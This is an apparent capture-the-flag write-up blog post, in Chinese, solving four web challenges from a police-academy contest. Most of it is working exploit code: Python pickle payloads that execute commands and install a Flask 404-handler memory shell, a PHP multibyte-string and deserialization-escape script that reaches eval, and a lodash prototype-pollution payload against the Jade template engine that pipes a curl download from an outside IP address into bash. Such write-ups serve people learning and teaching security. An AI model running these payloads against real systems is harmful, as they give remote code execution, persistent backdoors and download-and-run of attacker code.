黃河流域挑戰賽WEB部分-gxngxngxn

gxngxngxn發表於2024-05-12

黃河流域公安院校挑戰賽WEB部分-gxngxngxn

myfavorPython

pickle反序列話,開啟debug,用報錯

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("raise Exception(__import__('os').popen('cat flag.txt').read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

Python-reverse

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

打了以後隨便訪問一個404頁面,然後執行命令即可
具體分析看我flask記憶體馬那篇文章
https://www.cnblogs.com/gxngxngxn/p/18181936

逃跑大師

mb_strpos與mb_substr執行差異導致的漏洞,參考

https://www.sonarsource.com/blog/joomla-multiple-xss-vulnerabilities/

原理很簡單,就是利用mb_strpos與mb_substr這兩個函式對某些不可見字元的解析差異導致的

我們本地搭建個環境試驗一下:

<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    echo $start.'<br>';
    $end = mb_strpos($data, "]");
    echo $end;
    return mb_substr($data, $start, $end + 1 - $start);
}
$key = substrstr($_GET[0]."[welcome".$_GET[1]."sdpcsec]");
echo $key;

這裡我們正常傳個字元可以看到,這個函式會截區[]裡面包裹的內容

增加逃逸出一個字元(抽象的mb_strpos)

但是當我們傳入%9f時,

可以看到現在擷取的就不一樣了,竟然後面少了一個字元,前面多了一個字元,我們可以看到start和end的值為0和15

就是說mb_strpos這個函式在遇到%9f這個不可見字元時,會自動忽略,而mb_substr則不會忽略,導致截斷的字串往前移動了一個位置。

減少逃逸出三個字元(神奇的mb_substr)

再來看%f0兩個函式是怎麼識別的

可以看到mb_strpos函式是正常當成一個字元識別,但是mb_substr就很神奇了,他會把%f0連著後面的三個字元當成一個字元來識別,所以可以看到這裡明顯是少了三個字元

構造任意字元

那麼簡單來說就是%9f用來增加一個字元,%f0用來減少三個字元,我們利用這個特性,可以實現任意字元的構造,如下:

成功構造出gxngxngxn,這裡是%f0和%9f配合使用

也可以單獨使用%9f來實現逃逸

解題

接下來回歸題目本身

 <?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start, $end + 1 - $start);
}
class A{
    public $A;
    public $B = "HELLO";
    public $C = "!!!";
    public function __construct($A){
        $this->A = $A;
    }
    public function __destruct(){
        $key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
        echo $key;
        eval($key);
    }
}
if(isset($_POST['escape'])) {
    $Class = new A($_POST['escape']);
    $Key = serialize($Class);
    $K = str_replace("SDPCSEC", "SanDieg0", $Key);
    unserialize($K);
}
else{
    echo "nonono";
} 

這裡就是利用了這個原理來構造出任意程式碼執行,套了一個反序列化字串逃逸,無傷大雅

直接放我的exp指令碼:

import os
import re
import requests
#編碼
def encode(string):
    encode_string = ""
    for char in string:
        encode_char = hex(ord(char)).replace("0x","%") #先轉ASCII編碼再轉16進位制,把0x替換為%
        # 例如 i+=1 == i=i+1;所以 encode_string = encode_string + encode_char
        encode_string += encode_char # encode_string += 空字元+結果
    return encode_string
#exp
def payload(cmd):
    print("url加密:"+encode(cmd))
    # 請用url全加密後的cmd替換原來的cmd!!!
    cmd1=""
    for i in range(len(cmd)):
        cmd1 += "$"
    cmd = cmd1 + cmd
    s = len(cmd)
    payload1 = '";s:1:"B";s:' + str(s) + ':"' + cmd + '";s:1:"C";s:9:"gxngxngxn";}'
    payload2 = ""
    for i in range(len(payload1)):
        payload2 += 'SDPCSEC'
    payload2 = payload2 + payload1
    payload2 = payload2.replace("$", "%9f")
    print(payload2)

exp=payload('system("cat /flag");//')

將得到字串中的命令用url全加密後替換即可

Ezzz_Proto

const express = require('express');
const lodash = require('lodash');
const path = require('path');
var bodyParser = require('body-parser');


const app =  express();
var router = express.Router();

app.set('view engine', 'jade');
app.set('views', path.join(__dirname, 'views'));
app.use(bodyParser.json({ extended: true }));


app.get('/',function (req, res) {
    res.send('Hello World');
})

app.post('/post',function (req, res) {
    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
    var malicious_payload = JSON.stringify(req.body);
    var body = JSON.parse(JSON.stringify(req.body));
    var a = {};
    merge(a, JSON.parse(malicious_payload));
    console.log(a.name);
    res.render('index.jade', {
        title: 'HTML',
        name: a.name || ''
    });
})
app.listen(1113, () => console.log('Example app listening on port http://127.0.0.1:1113 !'))

看到引入了jade模板,並且/post路由存在明顯的原型鏈汙染,很明顯是兩個結合打jade模板引擎rce

參考文章:

https://www.anquanke.com/post/id/236354/

利用原文中的exp打打,發現不行,於是跟進底層斷點除錯

發現在此處將visit換成了visitCode,跟進visitCode函式里

發現這裡也存在明顯的拼接汙染,可以rce,只要汙染code.buffer為true,val處拼接我們命令執行的程式碼即可

payload:

{"__proto__":{"compileDebug":true,"self":true,"buffer":1,"val":"global.process.mainModule.constructor._load('child_process').execSync('curl http://81.70.252.29/1.txt|bash')"}}

相關文章